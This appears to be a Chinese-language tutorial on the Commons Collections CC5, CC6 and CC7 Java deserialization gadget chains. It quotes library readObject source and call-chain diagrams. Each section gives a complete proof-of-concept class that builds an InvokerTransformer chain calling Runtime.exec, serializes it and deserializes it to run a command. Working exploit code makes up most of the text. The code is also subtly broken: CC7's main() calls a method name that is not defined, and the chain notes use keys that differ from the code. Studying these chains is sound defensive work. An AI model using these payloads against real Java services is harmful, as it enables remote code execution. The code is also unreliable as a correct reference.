BadAttributeValueExpExceptionjavax.management 包中的一个类,通常用于描述与 JMX 相关的异常。该类的构造方法接受一个 Object 类型的参数 val,代表异常的具体值,由于 val 可控,所以可以将 TiedMapEntry 赋值给该字段,间接触发代码执行

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class BadAttributeValueExpException extends Exception   {
private static final long serialVersionUID = -3105272988410493376L;
// 要把val构造成一个TiedMapEntry,这样在执行反序列化方法readObject时就会触发TiedMapEntry.toString方法
// 然后TiedMapEntry.toString方法会执行TiedMapEntry.getValue方法,然后会执行到LazyMap.get(this.key)
// LazyMap.get方法中会调用Transformer.transformer方法,而这里的Transformer就是我们精心构造的TransformerChained
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {

val = valObj.toString();
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}

LazyMap 相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {

...

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key); // 触发 Transform
map.put(key, value);
return value;
}
return map.get(key);
}
}

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public class CommonsCollections5 {
static String serialFileName = "commons-collections5.ser";

public static void main(String[] args) throws Exception {
cc5byYsoSerial();
verify();
}

public static void verify() throws Exception {
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}

public static void cc5byYsoSerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };

Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);

// 创建LazyMap,将transformerChain包装成一个Map,当get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);

FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(val);
oos.flush();
oos.close();
}
}

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
BadAttributeValueExpException.readObject()

valObj.toString() // 当val不是基本类型时触发

TiedMapEntry.toString()

TiedMapEntry.getValue() → map.get(key)

LazyMap.get("aaa") // key不存在,进入分支

factory.transform("aaa")

ConstantTransformer → InvokerTransformer → Runtime.exec()

CC6

环境:以 JDK8 版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)

CC6 中,HashMapHashSet 用于 存储恶意数据结构,并且通过 反序列化 触发了恶意代码的执行

新增类:HashMap

存储恶意的 TiedMapEntryHashMap 用来存储 TiedMapEntry,并且通过 keySet() 获取 LazyMap 中的所有键

关键代码:HashMap中重写了 readObject 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
......
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();

// 调用了hash(Key),从而触发TiedMapEntry的hashCode()方法,而从触发LazyMap中的get()方法
putVal(hash(key), key, value, false, false);
}
......
}

TiedMapEntry

1
2
3
4
5
6
7
public int hashCode() {

// 这里就可以触发 LazyMap 的 getValue()
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

新增类:HashSet

存储 HashMapkeySet()HashSet 用来存储 HashMapkeySet()

在这个步骤中,HashSet 只是一个容器,用来接收 HashMap 中的条目集

HashSetreadObject 方法中,会调用其内部 HashMapput 方法,将值放在 key

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// HashSet内部维护了一个map对象,但是该Map对象的值都是空Object,也就是new Object()
private transient HashMap<E,Object> map;
......

for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();

// 重点在这里,他最终会调用到HashMap的put方法
map.put(e, PRESENT);
}

// 这里触发了HashMap的hash方法
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

// 这里就能触发hashCode方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections6 {
static String serialFileName = "commons-collections6.ser";

public static void main(String[] args) throws Exception {
cc6bySimplify();
verify();
}

public static void verify() throws Exception {
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}

public static void cc6bySimplify() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 创建LazyMap,将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链

final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

// New Method

HashMap map = new HashMap();
map.put(entry, "1");
HashSet set = new HashSet(map.keySet());
lazyMap.clear();

FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(set);
oos.flush();
oos.close();
}
}

调用链:

1
2
3
4
5
6
7
HashMap.readObject() 
→ hash(key)
→ TiedMapEntry.hashCode()
→ getValue()
→ LazyMap.get()
→ Transformer.transform()
→ 执行恶意代码(如 Runtime.exec())

CC7

环境:以 JDK8 版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)

新增类:HashTable

这个版本使用 HashTable 来替换 HashMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
......

for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();

// 这里触发了漏洞
reconstitutionPut(table, key, value);
}
......
}

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
......
// 这个调用了key的hashCode,如果key是构造好的TiedMapEntry攻击链,则会攻击链代码被执行
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}

@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections7 {
static String serialFileName = "commons-collections7.ser";
public static void main(String[] args) throws Exception {
cc7byYsoSerial();
verify();
}
public static void verify() throws Exception {
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}

public static void cc7bySimplify() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs})};

final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

// new Method
Hashtable hashtable = new Hashtable();
hashtable.put(entry, 1);
lazyMap.clear();

FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
}
}

调用链:

1
2
3
4
5
6
7
8
9
10
11
Hashtable

├─> table[] 数组存储 Entry[]

└─> Entry<K,V>
├─> key: TiedMapEntry
│ ├─> map: LazyMap
│ │ └─> factory: ChainedTransformer
│ └─> key: "ysoserial"

└─> value: "value"